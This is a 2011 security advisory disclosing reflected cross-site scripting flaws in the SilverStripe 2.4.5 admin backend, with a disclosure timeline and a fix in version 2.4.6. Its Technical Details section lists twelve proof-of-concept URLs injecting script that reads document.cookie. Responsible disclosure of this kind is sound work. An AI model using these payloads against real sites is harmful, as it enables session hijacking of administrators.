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SSCHADV2011-024 - SilverStripe 2.4.5 Multiple backend Cross-site scripting vulnerabilities

Advisory:
SilverStripe 2.4.5 Multiple backend Cross-site scripting vulnerabilities
Advisory ID:
SSCHADV2011-024
Author:
Stefan Schurtz
Affected Software:
Successfully tested on SilverStripe 2.4.5
Vendor URL:
Vendor Status:
fixed
CVE-ID:
-
 
======================
Vulnerability Description:
======================
 
SilverStripe 2.4.5 backend is prone to multiple Cross-site scripting vulnerabilities
 
==============
Technical Details:
==============
 
Backend – XSS
 
http://<target>/SilverStripe-v2.4.5/admin/reports/?’"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/comments/?’"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/?’"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/show/4?’"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/show/2?’"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/show/root?’"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/show/3?’"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/show/?’"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/assets/?’"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/show/1?’"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/show/5?’"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/security/?’"</script><script>alert(document.cookie)</script>
 
=====
Solution:
=====
 
Update to the latest version 2.4.6
 
================
Disclosure Timeline:
================
 
05-Oct-2011 – informed developers
06-Oct-2011 – release date of this security advisory
08-Oct-2011 – post on BugTraq
17-Oct-2011 – fixed by vendor
 
====
Credits:
====
 
Vulnerabilities found and advisory written by Stefan Schurtz.
 
=======
References:
=======
 

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